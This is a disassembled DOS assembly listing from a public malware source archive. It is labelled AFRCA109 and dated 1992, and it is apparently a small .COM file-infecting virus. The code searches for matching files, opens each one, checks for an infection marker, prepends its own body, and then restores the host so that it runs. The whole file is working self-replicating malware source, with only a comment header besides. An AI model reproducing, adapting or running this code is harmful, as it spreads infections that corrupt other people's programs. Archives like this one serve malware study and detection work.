mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
100 lines
2.1 KiB
NASM
100 lines
2.1 KiB
NASM
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PAGE 59,132
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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;<3B><> <20><>
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;<3B><> AFRCA109 <20><>
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;<3B><> <20><>
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;<3B><> Created: 16-Sep-92 <20><>
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;<3B><> Passes: 5 Analysis Options on: AW <20><>
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;<3B><> <20><>
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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data_2e equ 4F43h
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data_3e equ 0FE00h
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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afrca109 proc far
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start:
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mov si,100h
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push si
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mov ax,cs
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add ah,10h
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mov es,ax
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xor di,di ; Zero register
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mov cx,6Dh
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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mov dx,data_3e
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mov ah,1Ah
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int 21h ; DOS Services ah=function 1Ah
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; set DTA(disk xfer area) ds:dx
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mov dx,167h
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mov ah,4Eh ; 'N'
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jmp short loc_2
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loc_1:
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mov ah,3Eh ; '>'
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int 21h ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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mov ah,4Fh ; 'O'
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loc_2:
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push cs
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pop ds
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int 21h ; DOS Services ah=function 4Fh
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; find next filename match
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mov cx,0FE1Eh
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jc loc_3 ; Jump if carry Set
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mov dx,cx
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mov ax,3D02h
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int 21h ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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xchg ax,bx
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push es
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pop ds
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mov dx,di
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mov ah,3Fh ; '?'
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int 21h ; DOS Services ah=function 3Fh
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; read file, bx=file handle
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; cx=bytes to ds:dx buffer
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add ax,6Dh
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cmp byte ptr [di],0BEh
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je loc_1 ; Jump if equal
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push ax
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xor cx,cx ; Zero register
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mov ax,4200h
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cwd ; Word to double word
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int 21h ; DOS Services ah=function 42h
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; move file ptr, bx=file handle
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; al=method, cx,dx=offset
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pop cx
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mov ah,40h ; '@'
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int 21h ; DOS Services ah=function 40h
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; write file bx=file handle
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; cx=bytes from ds:dx buffer
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jmp short loc_1
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loc_3:
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push cs
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pop es
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mov bl,0FCh
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mov word ptr [bx],0AAACh
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mov word ptr [bx+2],0FCE2h
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pop di
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push bx
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retn
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sub ch,ds:data_2e
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dec bp
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add bl,al
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afrca109 endp
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seg_a ends
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end start
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